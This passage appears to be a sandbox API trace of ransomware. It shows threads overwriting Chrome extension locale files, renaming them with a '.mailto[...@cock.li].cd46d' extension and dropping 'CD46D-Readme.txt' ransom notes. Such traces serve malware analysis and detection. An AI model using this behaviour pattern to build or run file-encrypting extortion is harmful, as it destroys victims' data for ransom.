hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.817] WriteFile (in: hFile=0x179c, lpBuffer=0x12cf5720*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x9a9f874, lpOverlapped=0x0 | out: lpBuffer=0x12cf5720*, lpNumberOfBytesWritten=0x9a9f874*=0x10b, lpOverlapped=0x0) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5720) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6cf0) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938518) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6cc0) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938540) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095a0) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909780) returned 1 [0197.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909820) returned 1 [0197.895] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0xd4c66a0 [0197.895] wcscpy (in: _Dest=0xd4c66a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" [0197.895] wcscat (in: _Dest=0xd4c66a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.895] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9a9f82c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.896] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x933ff0 [0198.028] FlushFileBuffers (hFile=0x179c) returned 1 [0198.031] CloseHandle (hObject=0x179c) returned 1 [0198.054] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13e) returned 0xd494580 [0198.054] wcscpy (in: _Dest=0xd494580, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\" [0198.054] wcscat (in: _Dest=0xd494580, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\CD46D-Readme.txt" [0198.054] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\cd46d-readme.txt")) returned 0xffffffff [0198.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0198.061] WriteFile (in: hFile=0x584, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x9a9f834, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x9a9f834*=0x6fd, lpOverlapped=0x0) returned 1 [0198.079] CloseHandle (hObject=0x584) returned 1 [0198.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494580) returned 1 [0198.092] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a5748) returned 1 Thread: id = 8416 os_tid = 0x1a58 [0193.559] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json")) returned 0x2020 [0193.559] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json", dwFileAttributes=0x20) returned 1 [0198.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1398 [0198.375] GetFileSizeEx (in: hFile=0x1398, lpFileSize=0x833fdb4 | out: lpFileSize=0x833fdb4*=222) returned 1 [0198.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0198.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455c8 [0198.376] NtQuerySystemTime (in: CurrentTime=0x833fd14 | out: CurrentTime=0x833fd14*=132174899729710000) returned 0x0 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0xfa28dd4 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x5587797 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x1287a098 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x144a3636 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x4827adf6 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x42012cdb [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x443efc96 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x6ce411ea [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x782e6cc0 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x3911d934 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x7a3c489 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x377c1abb [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x4241c5ba [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x337e9629 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x302e2eca [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x5bead854 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x7d930a17 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x1183473a [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x39595008 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0xc9b7fcd [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x339f5799 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x3582def [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x5ccbc85e [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x703d3c7b [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x1e622ca8 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x25088f2c [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x61638543 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x4956ac67 [0198.376] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x380c9f04 [0198.377] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x768ccba9 [0198.377] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0xa3fbbf5 [0198.377] RtlRandomEx (in: Seed=0x833fd20 | out: Seed=0x833fd20) returned 0x5b3e440b [0198.389] ReadFile (in: hFile=0x1398, lpBuffer=0xd454048, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x833fd10, lpOverlapped=0x0 | out: lpBuffer=0xd454048*, lpNumberOfBytesRead=0x833fd10*=0xde, lpOverlapped=0x0) returned 1 [0198.390] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.390] WriteFile (in: hFile=0x1398, lpBuffer=0xd460850*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x833fd0c, lpOverlapped=0x0 | out: lpBuffer=0xd460850*, lpNumberOfBytesWritten=0x833fd0c*=0xde, lpOverlapped=0x0) returned 1 [0199.036] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d00 [0199.036] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5cb0 [0199.036] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cb0) returned 1 [0199.036] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd460850) returned 1 [0199.036] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd454048) returned 1 [0199.036] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faf38) returned 1 [0199.036] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2b78) returned 1 [0199.036] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88f8 [0199.036] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.036] WriteFile (in: hFile=0x1398, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x833fd74, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x833fd74*=0x10b, lpOverlapped=0x0) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5090) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cb0) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d00) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459b0) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945578) returned 1 [0200.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945640) returned 1 [0200.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6518 [0200.381] wcscpy (in: _Dest=0xd4c6518, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" [0200.381] wcscat (in: _Dest=0xd4c6518, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0200.381] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x833fd2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9208 [0201.788] FlushFileBuffers (hFile=0x1398) returned 1 [0201.793] CloseHandle (hObject=0x1398) returned 1 [0201.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5a30 [0201.912] wcscpy (in: _Dest=0x9b5a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\" [0201.912] wcscat (in: _Dest=0x9b5a30, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\CD46D-Readme.txt" [0201.912] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\cd46d-readme.txt")) returned 0xffffffff [0201.912] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.036] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x833fd34, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x833fd34*=0x6fd, lpOverlapped=0x0) returned 1 [0202.037] CloseHandle (hObject=0x14b8) returned 1 [0202.037] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5a30) returned 1 [0202.037] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d938) returned 1 Thread: id = 8417 os_tid = 0x1a5c [0193.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json")) returned 0x2020 [0193.564] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json", dwFileAttributes=0x20) returned 1 [0193.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0193.565] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x163bff18 | out: lpFileSize=0x163bff18*=227) returned 1 [0193.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938658 [0193.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9386d0 [0193.565] NtQuerySystemTime (in: CurrentTime=0x163bfe78 | out: CurrentTime=0x163bfe78*=132174899681662000) returned 0x0 [0193.565] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x680c4c74 [0193.565] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x5de6a1af [0193.565] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x16b8f838 [0193.565] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x499a6404 [0193.565] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x6b7af862 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0xfc5f521 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x44ff6b11 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x5924288a [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x60e970ef [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x185afa6e [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x62b704a7 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x79a774c0 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x6937b634 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x349cabd6 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x4dadcca1 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x4d510b3f [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x1bda35e0 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x1a1ab2e1 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x646f36c3 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x2f229f8d [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x260a7888 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x772feb76 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x4cf954c [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x114ad620 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x7ce45c16 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x6bc33c3d [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x19de0249 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x7a92d1d6 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x3cfae8a1 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x333ceb80 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x3a7b7d69 [0193.566] RtlRandomEx (in: Seed=0x163bfe84 | out: Seed=0x163bfe84) returned 0x6142a6af [0193.579] ReadFile (hFile=0x14b8, lpBuffer=0x13380890, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x163bfe74, lpOverlapped=0x0) [0193.580] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.581] WriteFile (in: hFile=0x14b8, lpBuffer=0x12c77ac0*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x163bfe70, lpOverlapped=0x0 | out: lpBuffer=0x12c77ac0*, lpNumberOfBytesWritten=0x163bfe70*=0xe3, lpOverlapped=0x0) returned 1 [0195.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5da0 [0195.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d78 [0195.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d78) returned 1 [0195.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77ac0) returned 1 [0195.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13380890) returned 1 [0195.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9250) returned 1 [0195.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9be8) returned 1 [0195.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6f00 [0195.354] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.354] WriteFile (in: hFile=0x14b8, lpBuffer=0x12cf6328*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x163bfed8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6328*, lpNumberOfBytesWritten=0x163bfed8*=0x10b, lpOverlapped=0x0) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6328) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f30) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d78) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f00) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5da0) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938658) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9386f8) returned 1 [0197.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938720) returned 1 [0197.745] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494ca0 [0197.746] wcscpy (in: _Dest=0xd494ca0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" | out: 